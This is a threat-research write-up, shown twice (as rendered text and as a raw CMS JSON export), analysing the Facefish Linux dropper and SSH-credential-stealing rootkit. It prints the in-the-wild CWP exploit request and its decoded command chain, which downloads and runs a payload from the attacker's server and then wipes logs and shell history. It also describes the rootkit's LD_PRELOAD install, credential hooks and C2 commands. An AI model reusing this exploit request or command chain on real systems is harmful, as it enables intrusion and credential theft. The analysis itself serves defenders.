The .init_proc function will first decrypt Config, get C2, PORT and other related information, then determine if the process being injected is SSH/SSHD, if it is, then HOOK the related functions that handle the credentials, and finally when ssh actively connects to it, or when sshd passively receives an external connection, Facefish, with the help of Hook function steals the login credentials and sends them to C2.



0x1 Finding SSH


If the current system is FreeBSD, the dlopen function obtains the address of the link_map structure and uses the link_map to iterate through the modules loaded by the current process to find SSH-related modules.





If the current system is not FreeBSD, the address of the link_map is obtained from item 2 of the .got.plt table.





After getting the SSH related module, the next step is to determine if the module is ssh/sshd in a relatively simple way, i.e. verifying that the following string is present in the module. By this, it is known that Facefish in fact only attacks the OpenSSH implementation of client/server.


1:usage: ssh
2:OpenSSH_




0x2 HOOK function


First, Facefish looks for the address of the function to be hooked


where the ssh function to be hooked is shown as follows.



The sshd function to be hooked is shown below.



If it is not found, the function name is prefixed with Fssh_ and looked for again. If it is still not found, the function is located indirectly through the string in the function. Finally, the Hook is implemented by the following code snippet





The actual comparison before and after HOOK is shown below.




0x3 Stealing login credentials


Facefish steals the login credentials with the help of the function after Hook and reports it to C2.





The reported data format is %08x-%08x-%08x-%08x,%s,%s,%s,%s,%s, where the first 32 sections are the encrypted key, followed by the account number, remote host, password and other information.


The information reported in practice is shown below.




bind function analysis


Once the user logs in through ssh, it will trigger the bind function and then execute a series of backdoor behavior, as follows.


If the backdoor is initialized normally, it will first fork the backdoor process and enter the instruction loop of C2 connection, and the parent process will call the real bind function through syscall(0x68/0x31).



0x1: Host behavior


Determine if the sshd parent process exists, if the parent process exits, the backdoor process also exits.


If the parent process exists start collecting host information, including: CPU model, Arch, memory size, hard disk size, ssh service related configuration file and credential data.


CPU model


Memory


Hard disk


Network device


SSH service related



0x2: Introduction to C2 commands


Facefish uses a complex communication protocol and encryption algorithm, among which the instructions starting with 0x2XX are used to exchange public keys, which we will analyze in detail in the next subsection. Here is a brief explanation of the C2 functional instructions.


 * Send 0x305


Whether to send the registration information 0x305, if not, collect the information and report it.


 * Send 0x300


Function to report stolen credential information


 * Send 0x301


Collect uname information, group packets and send 0x301, wait for further instructions


 * Receive 0x302


Accept command 0x302, reverse shell.


 * Receive 0x310


Accept command 0x310, execute any system command


 * Send 0x311


Send instruction 0x311 to return the result of bash execution


 * Receive 0x312


Accept instruction 0x312 to re-collect and report host information



0x3: Communication protocol analysis


Rootkit's communication process uses DH (Diffie–Hellman) key exchange protocol/algorithm for key exchange, and BlowFish is used for communication data encryption, so it is impossible to decrypt the traffic data only. Each session is divided into two phases, the first phase is key negotiation, the second phase uses the negotiated key to encrypt the sent data, receives and decrypts a C2 command, and then disconnects the TCP connection. This one-at-a-time encryption communication method is difficult to detect precisely by traffic characteristics.


Generally speaking, the easiest way to communicate using the DH protocol framework is to use the OpenSSL library, and the author of Facefish has coded (or used some open source projects) the whole communication process himself, and the code size is very compact because no third-party libraries are introduced.


 * DH communication principle


The whole communication protocol is based on the DH framework, so we need to understand the DH communication principle briefly first. Without discussing the mathematical principle behind, we use a simple example to describe the communication process directly by formula.


Step 1. A generates a random number a=4, chooses a prime number p=23, and a base number g=5, and calculates the public key A ($ A = g^a\mod p = 5^4\mod {23} = 4 $), then sends p, g, and A to B at the same time.


Step 2. After receiving the above message, B also generates a random number b=3 and uses the same formula to calculate the public key B ($ B = g^b \mod p = 5^3 \mod {23} = 10 $), then sends B to A. At the same time, B calculates the communication key s=3 and a base number g=5. Meanwhile, B calculates the communication key $ s = A^b \mod p = (g^a)^b \mod p = 18 $.


step 3. A receives B and also calculates the communication key $ s=B^a \mod p= (g^b)^a \mod p =18 $


step 4. A and B use the communication key s and BlowFish symmetric encryption algorithm to encrypt and decrypt the communication data.


In essence, a simple derivation shows that A and B computes by the same formula.


$$

s = B^a \mod p = (g^b)^a \mod p = g^{ab} \mod p = (g^a)^b \mod p = A^b \mod p

$$


There is a key mathematical function in the whole algorithm to find the power modulus power(x, y) mod z. When x and y are large, it is difficult to solve directly, so the fast power modulus algorithm is used. The start function mentioned earlier is the key code in the fast power binpow().


 * Protocol analysis


Sending and receiving packets use the same data structure.


  struct package{
      struct header{
          WORD payload_len;  //payload length
          WORD cmd;          //cmmand
          DWORD payload_crc; // payload crc
      } ;
      struct header hd;
      unsigned char payload[payload_len]; // payload
  }



As an example, the 0x200 instruction packet can be defined as follows.


struct package pkg = {
	.hd.payload_len = 0;
	.hd.cmd = 0x200;
	.hd.payload_crc = 0;
	.payload = "";
}




Against the DH communication principle and traffic data we analyze the communication protocol.


 1. 
    
    
    bot first sends instruction 0x200, payload data is empty.
    

 2. 
    
    
    C2 replied to the instruction 0x201, payload length of 24 bytes, converted into three 64-bit values by small end, corresponding to the three key data sent by A in step1, p=0x294414086a9df32a, g=0x13a6f8eb15b27aff, A=0x0d87179e844f3758.
    

 3. 
    
    
    Corresponding to step2, bot generates a random number b locally, and then generates B=0x0e27ddd4b848924c based on the received p,g, which is sent to C2 by instruction 0x202. thus completing the exchange of session keys.
    


 4. Corresponding to step3, bot and C2 generate Blowfish keys s and iv by public key A and public key B. Where iv is obtained by dissimilarity of p and g.


With iv and s we can encrypt and decrypt the communication data. The real communication data is encrypted using BlowFish algorithm, which is the same as the method of profile encryption mentioned before. bot sends 0x305 command to C2 with the length of 0x1b0, and the content is the registration packet data after BlowFish encryption.


The decrypted uplink packet data is as follows.



IOC


Sample MD5


38fb322cc6d09a6ab85784ede56bc5a7 sshins
d6ece2d07aa6c0a9e752c65fbe4c4ac2 libs.so



C2


176.111.174.26:443


{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"##Background\n\nIn Feb 2021, we came across an ELF sample using some CWP’s Ndays exploits, we did some analysis, but after checking with a partner who has some nice visibility in network traffic in some China areas, we discovered there is literarily 0 hit for the C2 traffic. So we moved on.\n\nOn 4/26/2021, Juniper published a [**blog**](https://blogs.juniper.net/en-us/threat-research/linux-servers-hijacked-to-implant-ssh-backdoor) about this sample, we noticed that some important technical details were not mentioned in that blog, so we decided to complete and publish our report.\n\n\nThe ELF sample file (38fb322cc6d09a6ab85784ede56bc5a7) is a Dropper, which releases a Rootkit. Juniper did not name it, so we gave it a name `Facefish`, as the Dropper released different rootkits at different times, and Blowfish encryption algorithm has been used.\n\nFacefish supports pretty flexible configuration, uses Diffie-Hellman exchange keys, Blowfish encrypted network communication, and targets Linux x64 systems.\n\n## Overview\n\nFacefish consists of 2 parts, Dropper and Rootkit, and its main function is determined by the Rootkit module, which works at the Ring3 layer and is loaded using the `LD_PRELOAD` feature to steal user login credentials by hooking ssh/sshd program related functions, and it also supports some backdoor functions. Therefore, Facefish can be characterized as a backdoor for Linux platform.\n\nThe main functions of Facefish are\n\n* Upload device information\n* Stealing user credentials\n* Bounce Shell\n* Execute arbitrary commands\n\nThe basic process is shown in the following diagram.\n\n![fish_brief](__GHOST_URL__/content/images/2021/05/fish_brief.png)\n\n# Propagation method\n\nThe vulnerabilities exploited in the wild are shown below\n\n```\nPOST /admin/index.php?scripts=.%00./.%00./client/include/inc_index&service_start=;cd%20/usr/bin;%20/usr/bin/wget%20http://176.111.174.26/76523y4gjhasd6/sshins;%20chmod%200777%20/usr/bin/sshins;%20ls%20-al%20/usr/bin/sshins;%20./sshins;%20cat%20/etc/ld.so.preload;%20rm%20-rf%20/usr/bin/sshins;%20sed%20-i%20'/sshins/d'%20/usr/local/cwpsrv/logs/access_log;%20history%20-c;&owner=root&override=1&api_key=%00%00%C2%90 HTTP/1.1\nHost: xx.xxx.xxx.xx:2031\nUser-Agent: python-requests/2.25.1\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: keep-alive\nContent-Length: 0\n\n```\n\nAfter decoding the part related to Facefish, the following execution command sequence is obtained, which can be seen that the main function is to download the payload of the first stage of execution, and then clean up the traces.\n\n```\ncd /usr/bin; \n/usr/bin/wget http://176.111.174.26/76523y4gjhasd6/sshins; \nchmod 0777 /usr/bin/sshins; \nls -al /usr/bin/sshins; ./sshins; \ncat /etc/ld.so.preload;\nrm -rf /usr/bin/sshins; \nsed -i '/sshins/d' /usr/local/cwpsrv/logs/access_log; \nhistory -c\n```\n\n# Reverse Analysis\nIn simple terms, Facefish's infection procedure can be divided into 3 stages\n\nStage 0: Preliminary stage,  spread through the vulnerability and implanted Dropper on the device\n\nStage 1: Release stage, Dropper releases the Rootkit\n\nStage 2: Operational stage, Rootkit collects and transmits back sensitive information and waits for the execution of the instructions issued by C2\n\nLet’s take a look at Stage 1 and Stage 2.\n\n## Stage 1: Dropper Analysis\n\nDropper's base information is shown below, the main function is to detect the running environment, decrypt the Config and get C2 information, configure Rootkit, and finally release and start Rootkit.\n\n> MD5:38fb322cc6d09a6ab85784ede56bc5a7\n>\n> ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped\n>\n> Packer: UPX\n\nIt is worth mentioning that Dropper uses some `tricks` to counteract the detection of antivirus at the binary level.\n\n\n## Trick 1:upx with overlay\n\nAs shown in the figure below, the encrypted Config data is used as overlay to fill the end of the sample after upx shelling.\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_upxoverlay.png\"  width=\"860px\" />\n\nThe purpose of this approach is twofold:\n\n1. Counteracting upx decapsulation\n2. The Config data is decoupled from the sample, so that the Config can be updated by the tool without compiling the source code, which is convenient for circulation in the black market.\n\n\n## Trick 2:elf without sections\nAs shown in the figure below, the section information in the sample is erased after the shell is removed\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_section.png\"  width=\"860px\" />\n\nThe purpose of this approach is also twofold:\n\nSome tools that rely on section information for analysis do not work properly, and erasing sections makes analysis more difficult to a certain extent.\n\nSome antivirus engines rely on the section information to generate the detection area of the feature, erase the section might blindfold some antivirus engines. \n\n## Dropper's main features\n\nDropper will output the following information when it runs\n\n![fish_blow](__GHOST_URL__/content/images/2021/03/fish_proc.png)\n\nBased on this information, we can divide Dropper's functions into the following 4 stages\n\n1. Detecting the runtime environment\n\n2. Decrypting Config\n\n3. Configure Rootkit\n\n4. Release and start Rootkit\n\n### 0x1:Detect the running environment\n\nRead the first 16 bytes of `/bin/cat`, and determine the current system's bit number by checking the value of the 5th byte (EI_CLASS), currently Facefish only supports x64 system. Then it checks if it is running under root privileges and finally tries to read in the Config information from the end of its own file. If any of these steps fails, Facefish will give up the infection and exit directly.\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_env.png\"  width=\"860px\" />\n\n### 0x2:Decrypting Config \n\nThe original Config information is 128 bytes long, encrypted with Blowfish's CBC mode, and stored at the end of the file in the form of overlay. The decryption key&iv of Blowfish is as follows.\n\n- key:buil\n- iv:00 00 00 00 00 00 00 00\n\nIt is worth mentioning that when using Blowfish, its author played a little trick to \"disgust\" security researchers during the coding process, as shown in the following code snippet.\n\nAt first glance, one would think that the key for Blowfish is \"build\". Note that the third parameter is 4, i.e. the length of the key is 4 bytes, so the real key is \"buil\".\n\n![fish_blow](__GHOST_URL__/content/images/2021/03/fish_blow.png)\n\nTake the original Config as an example.\n\n```\nBD E8 3F 94 57 A4 82 94 E3 B6 E9 9C B7 91 BC 59\n5B B2 7E 74 2D 2E 2D 9B 94 F6 E5 3A 51 C7 D8 56\nE4 EF A8 81 AC EB A6 DF 8B 7E DB 5F 25 53 62 E2\n00 A1 69 BB 42 08 34 03 46 AF A5 7B B7 50 97 69\nEB B2 2E 78 68 13 FA 5B 41 37 B6 D0 FB FA DA E1\nA0 9E 6E 5B 5B 89 B7 64 E8 58 B1 79 2F F5 0C FF\n71 64 1A CB BB E9 10 1A A6 AC 68 AF 4D AD 67 D1\nBA A1 F3 E6 87 46 09 05 19 72 94 63 9F 50 05 B7\n```\n\nThe decrypted Config is shown below, you can see the c2:port information (176.111.174.26:443).\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_dec.png\"  width=\"860px\" />\n\nThe specific meaning of each field is as follows:\n\n| offset                | length | meaning      |\n| --------------------- | ------ | ------------ |\n| 0x00                  | 4      | magic        |\n| 0x0c                  | 4      | interval     |\n| 0x10                  | 4      | offset of c2 |\n| 0x14                  | 4      | port         |\n| 0x20(pointed by 0x10) |       | c2           |\n\nAfter the decryption is completed, the following code snippet is used to verify the Config, the verification method is relatively simple, that is, compare the magic value is not `0xCAFEBABE`, when the verification passed, enter the configuration Rootkit stage.\n\n![fish_blow](__GHOST_URL__/content/images/2021/03/fish_check.png)\n\n### 0x3:Configure Rootkit\n\nFirstly, the current time is used as the seed to generate 16 bytes randomly as the new Blowfish encryption key, and the Config obtained from the previous stage is re-encrypted with the new key.\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_newkey.png\"  width=\"860px\" />\n\nThen use the flag `0xCAFEBABEDEADBEEF` to locate the specific location of the Rootkit in the Dropper and write the new encryption key and the re-encrypted Config information.\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_confroot.png\"  width=\"860px\" />\n\nThe changes to the file are shown below.\nBefore writing.\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_emconf.png\"  width=\"860px\" />\n\nAfter writing.\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_newconf.png\"  width=\"860px\" />\n\nIn this process because the encryption key is randomly generated, the MD5 value of the Rootkit released at different times is different, and we speculate that this design is used to counteract the black and white HASH detection of the antivirus.\n\n![fish_blow](__GHOST_URL__/content/images/2021/03/fish_rodiff.png)\n\nIt is also worth mentioning that Facefish specifically supports the FreeBSD operating system. The implementation is relatively simple, as shown below, that is, by determining whether the EI_OSABI in cat binary is equal to 9, if so, the EI_OSABI value in Rootkit is modified to 9.\n\n![fish_freebsd](__GHOST_URL__/content/images/2021/05/fish_freebsd.png)\n\n### 0x4: Release and start Rootkit\n\nWrite the Rootkit configured in the previous stage to the `/lib64/libs.so` file, and write the following to `/etc/ld.so.preload` to realize the Rootkit preload.\n\n```\n /lib64/libs.so\n```\n\nRestart the ssh service with the following command to give Rootkit a chance to load into the sshd application\n\n```\n/etc/init.d/sshd restart\n/etc/rc.d/sshd restart\nservice ssh restart\nsystemctl restart ssh\nsystemctl restart sshd.service\n```\n\nThe actual effect is shown below.\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_mod.png\"  width=\"860px\" />\n\nAt this point Dropper's task is complete and Rootkit starts working.\n\n## Stage 2:Rootkit Analysis\n\nFacefish's Rootkit module libs.so works at the Ring3 layer and is loaded through the LD_PRELOAD feature, its basic information is as follows.\n\n> MD5:d6ece2d07aa6c0a9e752c65fbe4c4ac2\n>\n> ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped\n\nIn IDA you can see that it exports 3 functions, according to the preload mechanism, when rootkit is loaded, they will replace libc's function of the same name and implement hook.\n\n![face_export](__GHOST_URL__/content/images/2021/05/face_export.png)\n\n`init_proc` function, its main function is to hook ssh/sshd process related functions in order to steal login credentials.\nThe `bind` function, whose main function is to report device information and wait for the execution of C2 commands.\nThe `start` function, whose main function is to calculate keys for the key exchange process in network communication.\n\n## Analysis of the .init_proc function\nThe .init_proc function will first decrypt Config, get C2, PORT and other related information, then determine if the process being injected is SSH/SSHD, if it is, then HOOK the related functions that handle the credentials, and finally when ssh actively connects to it, or when sshd passively receives an external connection, Facefish, with the help of Hook function steals the login credentials and sends them to C2.\n\n### 0x1 Finding SSH\nIf the current system is FreeBSD, the dlopen function obtains the address of the link_map structure and uses the link_map to iterate through the modules loaded by the current process to find SSH-related modules.\n\n![fish_fmap](__GHOST_URL__/content/images/2021/05/fish_fmap.png)\n\nIf the current system is not FreeBSD, the address of the link_map is obtained from item 2 of the `.got.plt` table.\n\n![fish_nmap](__GHOST_URL__/content/images/2021/05/fish_nmap.png)\n\nAfter getting the SSH related module, the next step is to determine if the module is ssh/sshd in a relatively simple way, i.e. verifying that the following string is present in the module. By this, it is known that Facefish in fact only attacks the OpenSSH implementation of client/server.\n\n```\n1:usage: ssh\n2:OpenSSH_\n```\n\n### 0x2 HOOK function\n\nFirst, Facefish looks for the address of the function to be hooked\n\nwhere the ssh function to be hooked is shown as follows.\n\n<img src=\"__GHOST_URL__/content/images/2021/05/fish_sshproc.png\"  width=\"860px\" />\n\nThe sshd function to be hooked is shown below.\n\n<img src=\"__GHOST_URL__/content/images/2021/05/fish_sshdproc.png\"  width=\"860px\" />\n\nIf it is not found, the function name is prefixed with Fssh_ and looked for again. If it is still not found, the function is located indirectly through the string in the function. Finally, the Hook is implemented by the following code snippet\n\n![face_hook](__GHOST_URL__/content/images/2021/05/fish_hook.png)\n\nThe actual comparison before and after HOOK is shown below.\n\n<img src=\"__GHOST_URL__/content/images/2021/05/fish_comp.png\"  width=\"860px\" />\n\n### 0x3 Stealing login credentials\n\nFacefish steals the login credentials with the help of the function after Hook and reports it to C2.\n\n![fish_upinfo](__GHOST_URL__/content/images/2021/05/fish_upinfo.png)\n\nThe reported data format is `%08x-%08x-%08x-%08x,%s,%s,%s,%s,%s`, where the first 32 sections are the encrypted key, followed by the account number, remote host, password and other information.\n\nThe information reported in practice is shown below.\n\n<img src=\"__GHOST_URL__/content/images/2021/05/fish_pass.png\"  width=\"860px\" />\n\n## bind function analysis\n\nOnce the user logs in through ssh, it will trigger the bind function and then execute a series of backdoor behavior, as follows.\n\nIf the backdoor is initialized normally, it will first fork the backdoor process and enter the instruction loop of C2 connection, and the parent process will call the real bind function through syscall(0x68/0x31).\n\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image.png"}],["markdown",{"markdown":"### 0x1: Host behavior\nDetermine if the sshd parent process exists, if the parent process exits, the backdoor process also exits."}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508170431037-1.png"}],["markdown",{"markdown":"If the parent process exists start collecting host information, including: CPU model, Arch, memory size, hard disk size, ssh service related configuration file and credential data."}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508165505995-1.png"}],["markdown",{"markdown":"CPU model"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508170040197-1.png"}],["markdown",{"markdown":"Memory"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508170138167-2.png"}],["markdown",{"markdown":"Hard disk"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508170600524-1.png"}],["markdown",{"markdown":"Network device"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508173142888-1.png"}],["markdown",{"markdown":"SSH service related"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508170834920-1.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508173314536-1.png"}],["markdown",{"markdown":"### 0x2: Introduction to C2 commands\n\nFacefish uses a complex communication protocol and encryption algorithm, among which the instructions starting with 0x2XX are used to exchange public keys, which we will analyze in detail in the next subsection. Here is a brief explanation of the C2 functional instructions.\n\n* Send 0x305\n\nWhether to send the registration information 0x305, if not, collect the information and report it.\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508173614278-1.png"}],["markdown",{"markdown":"* Send 0x300\n\nFunction to report stolen credential information\n\n* Send 0x301\n\nCollect uname information, group packets and send 0x301, wait for further instructions"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508174238407-1.png"}],["markdown",{"markdown":"* Receive 0x302\n\nAccept command 0x302, reverse shell."}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508174458428-1.png"}],["markdown",{"markdown":"* Receive 0x310\n\nAccept command 0x310, execute any system command"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508175705147-1.png"}],["markdown",{"markdown":"* Send 0x311\n\nSend instruction 0x311 to return the result of bash execution\n\n* Receive 0x312\n\nAccept instruction 0x312 to re-collect and report host information"}],["markdown",{"markdown":"### 0x3: Communication protocol analysis\n\nRootkit's communication process uses DH [(Diffie–Hellman)](https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange) key exchange protocol/algorithm for key exchange, and BlowFish is used for communication data encryption, so it is impossible to decrypt the traffic data only. Each session is divided into two phases, the first phase is key negotiation, the second phase uses the negotiated key to encrypt the sent data, receives and decrypts a C2 command, and then disconnects the TCP connection. This one-at-a-time encryption communication method is difficult to detect precisely by traffic characteristics.\n\nGenerally speaking, the easiest way to communicate using the DH protocol framework is to use the OpenSSL library, and the author of Facefish has coded (or used some open source projects) the whole communication process himself, and the code size is very compact because no third-party libraries are introduced.\n\n* DH communication principle\n\nThe whole communication protocol is based on the DH framework, so we need to understand the DH communication principle briefly first. Without discussing the mathematical principle behind, we use a simple example to describe the communication process directly by formula.\n\nStep 1. A generates a random number a=4, chooses a prime number p=23, and a base number g=5, and calculates the public key A ($ A = g^a\\mod p = 5^4\\mod {23} = 4 $), then sends p, g, and A to B at the same time.\n\nStep 2. After receiving the above message, B also generates a random number b=3 and uses the same formula to calculate the public key B ($ B = g^b \\mod p = 5^3 \\mod {23} = 10 $), then sends B to A. At the same time, B calculates the communication key s=3 and a base number g=5. Meanwhile, B calculates the communication key $ s = A^b \\mod p = (g^a)^b \\mod p = 18 $.\n\nstep 3. A receives B and also calculates the communication key $ s=B^a \\mod p= (g^b)^a \\mod p =18 $\n\nstep 4. A and B use the communication key s and BlowFish symmetric encryption algorithm to encrypt and decrypt the communication data.\n\nIn essence, a simple derivation shows that A and B computes by the same formula.\n\n$$\ns = B^a \\mod p = (g^b)^a \\mod p = g^{ab} \\mod p  =  (g^a)^b \\mod p = A^b \\mod p\n$$\n\n\nThere is a key mathematical function in the whole algorithm to find the power modulus power(x, y) mod z. When x and y are large, it is difficult to solve directly, so the fast power modulus algorithm is used. The start function mentioned earlier is the key code in the fast power binpow().\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210510123409286-1.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210510123553608-1.png"}],["markdown",{"markdown":"* Protocol analysis\n\nSending and receiving packets use the same data structure.\n\n  ```c\n    struct package{\n        struct header{\n            WORD payload_len;  //payload length\n            WORD cmd;          //cmmand\n            DWORD payload_crc; // payload crc\n        } ;\n        struct header hd;\n        unsigned char payload[payload_len]; // payload\n    }\n  ```\n  \nAs an example, the 0x200 instruction packet can be defined as follows.\n\n  ```c\n  struct package pkg = {\n  \t.hd.payload_len = 0;\n  \t.hd.cmd = 0x200;\n  \t.hd.payload_crc = 0;\n  \t.payload = \"\";\n  }\n  \n  ```\n    \n  "}],["markdown",{"markdown":"Against the DH communication principle and traffic data we analyze the communication protocol.\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210510104153887-1.png"}],["markdown",{"markdown":"1. bot first sends instruction 0x200, payload data is empty.\n\n2. C2 replied to the instruction 0x201, payload length of 24 bytes, converted into three 64-bit values by small end, corresponding to the three key data sent by A in step1, p=0x294414086a9df32a, g=0x13a6f8eb15b27aff, A=0x0d87179e844f3758.\n\n3. Corresponding to step2, bot generates a random number b locally, and then generates B=0x0e27ddd4b848924c based on the received p,g, which is sent to C2 by instruction 0x202. thus completing the exchange of session keys."}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210510115024505-1.png"}],["markdown",{"markdown":"4. Corresponding to step3, bot and C2 generate Blowfish keys s and iv by public key A and public key B. Where iv is obtained by dissimilarity of p and g."}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210510115139042-1.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210510120455981-1.png"}],["markdown",{"markdown":"With iv and s we can encrypt and decrypt the communication data. The real communication data is encrypted using BlowFish algorithm, which is the same as the method of profile encryption mentioned before. bot sends 0x305 command to C2 with the length of 0x1b0, and the content is the registration packet data after BlowFish encryption.\n\nThe decrypted uplink packet data is as follows."}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210510190724649-1.png"}],["markdown",{"markdown":"# IOC\nSample MD5\n```\n38fb322cc6d09a6ab85784ede56bc5a7 sshins\nd6ece2d07aa6c0a9e752c65fbe4c4ac2 libs.so\n```\n\nC2\n```\n176.111.174.26:443\n```"}]],"markups":[],"sections":[[10,0],[10,1],[10,2],[10,3],[10,4],[10,5],[10,6],[10,7],[10,8],[10,9],[10,10],[10,11],[10,12],[10,13],[10,14],[10,15],[10,16],[10,17],[10,18],[10,19],[10,20],[10,21],[10,22],[10,23],[10,24],[10,25],[10,26],[10,27],[10,28],[10,29],[10,30],[10,31],[10,32],[10,33],[10,34],[10,35],[10,36],[10,37],[10,38],[10,39],[1,"p",[]]],"ghostVersion":"3.0"}